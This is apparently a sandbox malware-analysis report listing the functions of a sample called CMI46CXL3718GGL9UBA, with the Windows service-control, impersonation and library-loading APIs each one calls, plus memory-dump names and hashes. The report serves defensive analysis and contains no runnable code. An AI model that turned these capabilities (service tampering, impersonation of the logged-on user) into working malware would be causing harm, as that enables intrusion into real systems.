Instruction Fuzzy Hash: 021199B220D2AA6EE3018F609D907FF3BBCEBA6230F244696EDC4D3943C5160C058365

Function 04B415D0 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 04B418C8

Memory Dump Source

Source File: 00000004.00000002.2207628299.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b40000_CMI46CXL3718GGL9UBA.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: bd7219870f71266bdc8fa1927cee339f6d349c905f638526154affcf068be576
Instruction ID: 837f0a6a8ee8a0fd7e16915fb258799ef4597e9d22f518cbc6f15aa5cea7276d
Opcode Fuzzy Hash: bd7219870f71266bdc8fa1927cee339f6d349c905f638526154affcf068be576
Instruction Fuzzy Hash: 3DC18C70D102599FEB10CFACC8497AEBBB1FF84314F0485A9E858E7284D774A891DB82

Function 00E9B7C6 Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

!!iH, xrefs: 00E9B936

Memory Dump Source

Source File: 00000004.00000002.2204417101.0000000000E9A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000004.00000002.2204332587.0000000000E90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204360289.0000000000E92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204389276.0000000000E96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204448054.0000000000EA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204609326.000000000100D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204666833.0000000001010000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204720932.0000000001020000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204839086.0000000001023000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204872623.0000000001024000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204872623.000000000102E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204929957.0000000001033000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204958590.0000000001038000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204989386.000000000103F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205015474.0000000001040000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205042138.0000000001041000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205068489.0000000001042000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205094833.0000000001043000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205121563.0000000001044000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205155459.000000000105C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205213896.000000000106D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205247582.000000000107B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205279055.000000000107E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205327132.000000000108C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205358374.000000000108F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205395715.0000000001098000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205437464.0000000001099000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205470055.00000000010A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205498934.00000000010A2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205538142.00000000010A3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205571973.00000000010A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205597672.00000000010B0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205627690.00000000010B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205653959.00000000010B2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205680408.00000000010B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205727438.00000000010B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205753275.00000000010B9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205783295.00000000010BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205829635.00000000010BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205855584.00000000010BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205916271.00000000010BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205946344.00000000010C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206005405.00000000010C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206032827.00000000010C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206086538.00000000010CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206157739.0000000001123000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206182305.0000000001124000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206240059.000000000112D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206240059.0000000001134000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206294282.0000000001142000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206313570.0000000001144000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e90000_CMI46CXL3718GGL9UBA.jbxd

Similarity

API ID:
String ID: !!iH
API String ID: 0-3430752988
Opcode ID: 7899dcfad58ebab7e2bdc8ac0835a740f12f61a540e49bb9e3108bd4791e1191
Instruction ID: af26719e8dd1e64935974f6650d877821039292202e32a2ffb1dd8a0effd6c18
Opcode Fuzzy Hash: 7899dcfad58ebab7e2bdc8ac0835a740f12f61a540e49bb9e3108bd4791e1191
Instruction Fuzzy Hash: 1AE0CD311149CDE9CF2A9F24AA01799375DDB85700F502114FA0179E49CB3D4D118755

Function 01026A7A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 26
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 01026A7F

Strings

C, xrefs: 01026ADA

Memory Dump Source

Source File: 00000004.00000002.2204872623.0000000001024000.00000040.00000001.01000000.00000006.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000004.00000002.2204332587.0000000000E90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204360289.0000000000E92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204389276.0000000000E96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204417101.0000000000E9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204448054.0000000000EA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204609326.000000000100D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204666833.0000000001010000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204720932.0000000001020000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204839086.0000000001023000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204872623.000000000102E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204929957.0000000001033000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204958590.0000000001038000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204989386.000000000103F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205015474.0000000001040000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205042138.0000000001041000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205068489.0000000001042000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205094833.0000000001043000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205121563.0000000001044000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205155459.000000000105C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205213896.000000000106D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205247582.000000000107B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205279055.000000000107E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205327132.000000000108C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205358374.000000000108F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205395715.0000000001098000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205437464.0000000001099000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205470055.00000000010A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205498934.00000000010A2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205538142.00000000010A3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205571973.00000000010A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205597672.00000000010B0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205627690.00000000010B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205653959.00000000010B2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205680408.00000000010B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205727438.00000000010B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205753275.00000000010B9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205783295.00000000010BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205829635.00000000010BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205855584.00000000010BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205916271.00000000010BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205946344.00000000010C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206005405.00000000010C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206032827.00000000010C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206086538.00000000010CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206157739.0000000001123000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206182305.0000000001124000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206240059.000000000112D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206240059.0000000001134000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206294282.0000000001142000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206313570.0000000001144000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e90000_CMI46CXL3718GGL9UBA.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: 7d96680b40fd162616f757f7aea72c484e83d30719ff614d9ded7bb7d1adede2
Instruction ID: 1fe49e71beda48dca85c24780d39870ea5d2989efe32d504ea0ce15a36f1840d
Opcode Fuzzy Hash: 7d96680b40fd162616f757f7aea72c484e83d30719ff614d9ded7bb7d1adede2
Instruction Fuzzy Hash: 53E0D87154966E1EDB81EFA948513DD3BA0EF66224F24C5A7DEC9C7D81CA160C04CB4A

Function 04B415C4 Relevance: 1.8, APIs: 1, Instructions: 304
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 04B418C8

Memory Dump Source

Source File: 00000004.00000002.2207628299.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b40000_CMI46CXL3718GGL9UBA.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: 817938f28e30ef252985c5893d03e81fbcd91beda73165a00a86e68c0bff9bdc
Instruction ID: 7f9a40d008e0b2e3b3938d483198f3412da8aed17f1bf4e432c32a2f7c14d6d1
Opcode Fuzzy Hash: 817938f28e30ef252985c5893d03e81fbcd91beda73165a00a86e68c0bff9bdc
Instruction Fuzzy Hash: 25C18E71D102599FEB10CFACC8497AEBBB1FF84314F148569E858E7284D774A892DF82

Function 01022B01 Relevance: 1.6, APIs: 1, Instructions: 106
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 01022B01

Memory Dump Source

Source File: 00000004.00000002.2204720932.0000000001020000.00000040.00000001.01000000.00000006.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000004.00000002.2204332587.0000000000E90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204360289.0000000000E92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204389276.0000000000E96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204417101.0000000000E9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204448054.0000000000EA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204609326.000000000100D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204666833.0000000001010000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204839086.0000000001023000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204872623.0000000001024000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204872623.000000000102E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204929957.0000000001033000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204958590.0000000001038000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204989386.000000000103F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205015474.0000000001040000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205042138.0000000001041000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205068489.0000000001042000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205094833.0000000001043000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205121563.0000000001044000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205155459.000000000105C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205213896.000000000106D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205247582.000000000107B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205279055.000000000107E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205327132.000000000108C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205358374.000000000108F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205395715.0000000001098000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205437464.0000000001099000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205470055.00000000010A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205498934.00000000010A2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205538142.00000000010A3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205571973.00000000010A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205597672.00000000010B0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205627690.00000000010B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205653959.00000000010B2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205680408.00000000010B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205727438.00000000010B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205753275.00000000010B9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205783295.00000000010BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205829635.00000000010BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205855584.00000000010BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205916271.00000000010BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205946344.00000000010C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206005405.00000000010C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206032827.00000000010C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206086538.00000000010CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206157739.0000000001123000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206182305.0000000001124000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206240059.000000000112D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206240059.0000000001134000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206294282.0000000001142000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206313570.0000000001144000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e90000_CMI46CXL3718GGL9UBA.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: dbed73af9b413530f17ec371dd83828afcc37d539ac59b610494b337fcb4a20f
Instruction ID: 9f2977befa53f289656227e0cd197cee53773e0b4568c165bf9984fcc48eb822
Opcode Fuzzy Hash: dbed73af9b413530f17ec371dd83828afcc37d539ac59b610494b337fcb4a20f
Instruction Fuzzy Hash: ED315BF210C704AFD345BF19DC856BEFBE8EF58750F46092DE2C483650EA7158408A9B

Function 04B40D42 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04B40DCD

Memory Dump Source

Source File: 00000004.00000002.2207628299.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b40000_CMI46CXL3718GGL9UBA.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: c90d6552f15d6ddbf00b42f09d40a495acf9a0f87411f86cb4bcf6585f50fa2d
Instruction ID: 56754f964d4e137f34ba63b5a602d0d0ed99780f885ef3647a85e3e3641c01e6
Opcode Fuzzy Hash: c90d6552f15d6ddbf00b42f09d40a495acf9a0f87411f86cb4bcf6585f50fa2d
Instruction Fuzzy Hash: 142135B6D012199FCB10DF99D885BDEFBB0FF88320F14816AD908AB245D734A545CFA4

Function 04B40D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04B40DCD

Memory Dump Source

Source File: 00000004.00000002.2207628299.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b40000_CMI46CXL3718GGL9UBA.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 2da4e12e910eac94abe56b426c4a40a3db6de3d8644e9c87c073d55407156b5c
Instruction ID: 238a6067fca8852806e4ceb0065d4bd115037b790816397d1a450ab8448e1b3d
Opcode Fuzzy Hash: 2da4e12e910eac94abe56b426c4a40a3db6de3d8644e9c87c073d55407156b5c
Instruction Fuzzy Hash: 9C2115B6C012189FCB50DF99D884BDEFBF4EB88320F14815AD908AB244D774A544DFA4

Function 04B41509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04B41580

Memory Dump Source

Source File: 00000004.00000002.2207628299.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b40000_CMI46CXL3718GGL9UBA.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: f7602e9184a274c05305f8409a4f4b65bb1ecefdb3c640aa96546edcbe588a95
Instruction ID: c61a40153898343e28d766106b7cc6ae375beece55ba5f341d99ea094879754c
Opcode Fuzzy Hash: f7602e9184a274c05305f8409a4f4b65bb1ecefdb3c640aa96546edcbe588a95
Instruction Fuzzy Hash: 8F2103B1D002499FDB10CF9AC484BDEFBF4EB58324F108029E958A7250D378A684CFA5

Function 04B41510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04B41580

Memory Dump Source

Source File: 00000004.00000002.2207628299.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b40000_CMI46CXL3718GGL9UBA.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 142ba72b7859a211536b469fd09d0186ec75e0c1036e954e3961360e42b73288
Instruction ID: 8888db5706b7ba5d1bc92520f7d56508f4e32c35010c6118ed4a730b3a032bd4
Opcode Fuzzy Hash: 142ba72b7859a211536b469fd09d0186ec75e0c1036e954e3961360e42b73288
Instruction Fuzzy Hash: 1911E4B1D00249DFDB10CF9AC585BDEFBF4EB48324F108029E559A7250D378A684CFA5

Function 04B41301 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04B41367

Memory Dump Source

Source File: 00000004.00000002.2207628299.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b40000_CMI46CXL3718GGL9UBA.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: e1a486f88ef94d0ee6445c3f7ebe82606fb030e69466797842a2fcb770291595
Instruction ID: acbd6ee8e3cf49507b3d1ed395e6e1554da40bfc70f7b9ed57d848c38f0b5b92
Opcode Fuzzy Hash: e1a486f88ef94d0ee6445c3f7ebe82606fb030e69466797842a2fcb770291595
Instruction Fuzzy Hash: F71125B1C00249CFDB10CF9AC485BDEFBF4EB48324F24846AD598A3250C778A584CFA5

Function 04B41308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04B41367

Memory Dump Source

Source File: 00000004.00000002.2207628299.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b40000_CMI46CXL3718GGL9UBA.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 2341910a5ddfcb2a1c337e4cf682894065087da545c27553a9db40ea4339a153
Instruction ID: a7da16f2ae33b2277da6713a2478736bbe611d8c852bd2a98ce29e791f57bdea
Opcode Fuzzy Hash: 2341910a5ddfcb2a1c337e4cf682894065087da545c27553a9db40ea4339a153
Instruction Fuzzy Hash: 231133B1800249CFDB10CF9AC449BDEFBF8EB48324F20846AD558A3250C778A984CFA5

Function 0102FE79 Relevance: 1.5, APIs: 1, Instructions: 17
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0102FE87

Memory Dump Source

Source File: 00000004.00000002.2204872623.000000000102E000.00000040.00000001.01000000.00000006.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000004.00000002.2204332587.0000000000E90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204360289.0000000000E92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204389276.0000000000E96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204417101.0000000000E9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204448054.0000000000EA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204609326.000000000100D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204666833.0000000001010000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204720932.0000000001020000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204839086.0000000001023000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204872623.0000000001024000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204929957.0000000001033000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204958590.0000000001038000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204989386.000000000103F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205015474.0000000001040000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205042138.0000000001041000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205068489.0000000001042000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205094833.0000000001043000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205121563.0000000001044000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205155459.000000000105C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205213896.000000000106D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205247582.000000000107B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205279055.000000000107E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205327132.000000000108C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205358374.000000000108F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205395715.0000000001098000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205437464.0000000001099000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205470055.00000000010A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205498934.00000000010A2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205538142.00000000010A3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205571973.00000000010A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205597672.00000000010B0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205627690.00000000010B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205653959.00000000010B2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205680408.00000000010B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205727438.00000000010B6000.00000080.00000001.01000000.00000006.sdmpDownload File
